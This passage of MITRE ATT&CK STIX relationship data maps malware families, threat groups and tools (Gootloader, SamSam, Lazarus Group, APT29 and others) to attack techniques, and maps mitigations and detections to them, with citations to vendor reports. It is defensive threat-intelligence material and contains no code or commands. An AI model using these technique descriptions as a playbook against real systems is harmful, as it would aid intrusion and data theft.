2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--abf314e7-e379-4e8b-aab3-4a74d737a70d","created":"2022-09-30T20:05:29.229Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T20:05:29.229Z","description":"[Mis-Type](https://attack.mitre.org/software/S0084) has collected files and data from a compromised host.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abf45442-6ca3-4538-ad21-db2e46f43f67","type":"relationship","created":"2019-06-28T16:02:08.253Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","source_name":"ESET LightNeuron May 2019"}],"modified":"2019-07-16T17:12:00.765Z","description":"[LightNeuron](https://attack.mitre.org/software/S0395) is capable of starting a process using CreateProcess.(Citation: ESET LightNeuron May 2019)","relationship_type":"uses","source_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--abf48d17-9624-4ea7-be2f-769711609eba","created":"2024-05-29T20:19:04.469Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Gootloader June 2021","description":"Pirozzi, A. (2021, June 16). Gootloader: ‘Initial Access as a Service’ Platform Expands Its Search for High Value Targets. Retrieved May 28, 2024.","url":"https://www.sentinelone.com/labs/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/"},{"source_name":"Sophos Gootloader","description":"Szappanos, G. & Brandt, A. (2021, March 1). “Gootloader” expands its payload delivery options. Retrieved September 30, 2022.","url":"https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-19T17:13:10.588Z","description":"[Gootloader](https://attack.mitre.org/software/S1138) can inject its Delphi executable into ImagingDevices.exe using a process hollowing technique.(Citation: Sophos Gootloader)(Citation: SentinelOne Gootloader June 2021)","relationship_type":"uses","source_ref":"malware--396c18b9-26fb-4435-8589-fb856502e4c4","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac005901-af89-4bcd-bb7f-515539dbb96c","type":"relationship","created":"2021-09-28T01:36:41.931Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T19:04:18.987Z","description":"MMC may not be necessary within a given environment since it is primarily used by system administrators, not regular users or clients. ","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ac01b568-6d51-415f-8dd4-0d148fa204fb","created":"2021-10-14T18:59:38.957Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.433Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) has used Accept-Language to identify hosts in the United Kingdom, United States, France, and Spain.(Citation: Group IB GrimAgent July 2021) ","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac04879c-2316-4c3c-86e4-8fac1e80fb49","type":"relationship","created":"2020-10-19T16:08:29.990Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-16T20:15:45.730Z","description":"Upon identifying a compromised network device being used to bridge a network boundary, block the malicious packets using an unaffected network device in path, such as a firewall or a router that has not been compromised. Continue to monitor for additional activity and to ensure that the blocks are indeed effective.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac048ca9-efc6-46fd-90fe-b9d2a641f037","type":"relationship","created":"2019-01-30T14:26:43.141Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group","source_name":"Symantec Gallmaker Oct 2018"}],"modified":"2020-03-17T19:03:38.284Z","description":"[Gallmaker](https://attack.mitre.org/groups/G0084) used PowerShell to download additional payloads and for execution.(Citation: Symantec Gallmaker Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ac04e244-5ab3-4ac7-8f5d-575ec8ff67f0","created":"2021-07-26T15:09:24.807Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.433Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) can sleep for 195 - 205 seconds after payload execution and before deleting its task.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ac062b78-400d-4d9a-9c5b-95c7a1b6dd42","created":"2022-07-25T17:59:42.142Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Mongall](https://attack.mitre.org/software/S1026) can download files to targeted systems.(Citation: SentinelOne Aoqin Dragon June 2022)","modified":"2022-07-25T17:59:42.142Z","relationship_type":"uses","source_ref":"malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac0b0f1f-a9c8-4890-aa2f-6012b75a9c52","type":"relationship","created":"2021-01-11T19:10:42.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary NETWIRE January 2020","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}],"modified":"2021-01-11T19:10:42.740Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can discover and close windows on controlled systems.(Citation: Red Canary NETWIRE January 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ac0de65d-dc44-4575-a175-167e9c85cde9","created":"2023-02-08T00:29:58.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"},{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T15:11:45.351Z","description":"[metaMain](https://attack.mitre.org/software/S1059) can recursively enumerate files in an operator-provided directory.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ac0fcc8b-d546-4882-bb25-f12a8b9381ee","created":"2024-01-23T19:21:44.176Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-23T19:21:44.176Z","description":"(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"tool--b77b563c-34bb-4fb8-86a3-3694338f7b47","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ac1597ea-c0da-4365-998e-25e8e1ee87c9","created":"2023-03-28T18:59:05.238Z","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Microsoft 365 2022","description":"Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.","url":"https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-28T18:59:05.238Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has successfully conducted password guessing attacks against a list of mailboxes.(Citation: Mandiant APT29 Microsoft 365 2022)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac196369-5b5b-4e71-805a-3f64f150b1e2","type":"relationship","created":"2021-04-14T14:03:30.755Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point Rocket Kitten","url":"https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf","description":"Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018."}],"modified":"2021-04-14T14:03:30.755Z","description":"[Ajax Security Team](https://attack.mitre.org/groups/G0130) has used FireMalv custom-developed malware, which collected passwords from the Firefox browser storage.(Citation: Check Point Rocket Kitten)","relationship_type":"uses","source_ref":"intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac1cc421-b62d-462a-8d66-bc5de66defa0","type":"relationship","created":"2019-03-11T15:04:51.728Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.376Z","description":"[Empire](https://attack.mitre.org/software/S0363) has modules for executing scripts.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac263a26-1773-4ac1-b81b-b29f9ace484a","type":"relationship","created":"2019-04-16T12:57:12.895Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":" Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.","url":"https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf","source_name":"Sophos SamSam Apr 2018"}],"modified":"2019-04-18T20:59:57.030Z","description":"[SamSam](https://attack.mitre.org/software/S0370) encrypts victim files using RSA-2048 encryption and demands a ransom be paid in Bitcoin to decrypt those files.(Citation: Sophos SamSam Apr 2018)","relationship_type":"uses","source_ref":"malware--4d56e6e9-1a6d-46e3-896c-dfdf3cc96e62","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac2b9eab-5d0e-4ab5-9b5b-eebd454737d6","type":"relationship","created":"2021-04-12T20:07:50.426Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali MUSTANG PANDA October 2019","url":"https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations","description":"Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."}],"modified":"2021-04-12T20:07:50.426Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has searched the victim system for the InstallUtil.exe program and its version.(Citation: Anomali MUSTANG PANDA October 2019)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac2d8c2a-72f7-4fa4-9996-d520123a0fa1","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac3b6751-e615-44f6-a086-0c236742d8fd","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2020-03-17T02:15:30.760Z","description":"[Psylo](https://attack.mitre.org/software/S0078) exfiltrates data to its C2 server over the same protocol as C2 communications.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--dfb5fa9b-3051-4b97-8035-08f80aef945b","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ac3e9795-b828-4186-bdc8-3ee8e9b57aa1","created":"2022-04-16T17:45:06.149Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor unexpected changes and/or interactions with termsrv.dll, which is typically stored in %SystemRoot%\\System32\\.","modified":"2022-04-16T17:45:06.149Z","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac3ee298-bef0-4a52-9050-3dcef1701408","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft FTP","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ftp","description":"Microsoft. (2021, July 21). ftp. Retrieved February 25, 2022."},{"source_name":"Linux FTP","url":"https://linux.die.net/man/1/ftp","description":"N/A. (n.d.). ftp(1) - Linux man page. Retrieved February 25, 2022."}],"modified":"2022-02-25T20:50:26.362Z","description":"[ftp](https://attack.mitre.org/software/S0095) may be used to exfiltrate data separate from the main command and control protocol.(Citation: Microsoft FTP)(Citation: Linux FTP)","relationship_type":"uses","source_ref":"tool--cf23bf4a-e003-4116-bbae-1ea6c558d565","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac3fb8d5-9d9d-4701-a269-53e838850d71","type":"relationship","created":"2019-04-24T20:48:39.773Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Adwind Feb 2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}],"modified":"2019-06-24T17:20:24.634Z","description":"[jRAT](https://attack.mitre.org/software/S0283) can capture clipboard data.(Citation: Kaspersky Adwind Feb 2016)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ac43f0bd-db6c-4000-8efe-7f33520780d9","created":"2019-05-29T14:17:51.222Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Deep Instinct TA505 Apr 2019","description":"Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved September 16, 2024..","url":"https://www.deepinstinct.com/blog/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:25:13.666Z","description":"[ServHelper](https://attack.mitre.org/software/S0382) contains a module for downloading and executing DLLs that leverages rundll32.exe.(Citation: Deep Instinct TA505 Apr 2019)","relationship_type":"uses","source_ref":"malware--aae22730-e571-4d17-b037-65f2a3e26213","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac440832-cb04-409e-87fa-558097a898b6","type":"relationship","created":"2020-06-12T12:24:14.131Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-06-18T11:45:36.774Z","description":"Routinely check user permissions to ensure only the expected users have the capability to create new instances.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ac47da26-22ae-43b9-947b-ed4ea6943d42","created":"2022-03-23T16:57:13.648Z","x_mitre_version":"1.0","external_references":[{"source_name":"Qualys LolZarus","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns","description":"Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022."},{"source_name":"Lazarus APT January 2022","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used shellcode within macros to decrypt and manually map DLLs and shellcode into memory at runtime.(Citation: Lazarus APT January 2022)(Citation: Qualys LolZarus)","modified":"2022-08-23T15:29:06.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ac4b5156-e98e-4826-abc5-02e244496c03","created":"2024-09-17T18:35:06.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T19:49:43.922Z","description":"\n[Latrodectus](https://attack.mitre.org/software/S1160) can gather operating system information.(Citation: Latrodectus APR 2024)(Citation: Elastic Latrodectus May 2024)(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac4beabf-1644-4386-b34a-ebfc6e3bd3b0","type":"relationship","created":"2020-10-14T22:00:11.515Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Amazon AWS IMDS V2","url":"https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/","description":"MacCarthaigh, C. (2019, November 19). Add defense in depth against open firewalls, reverse proxies, and SSRF vulnerabilities with enhancements to the EC2 Instance Metadata Service. Retrieved October 14, 2020."}],"modified":"2022-03-08T21:37:23.808Z","description":"Disable unnecessary metadata services and restrict 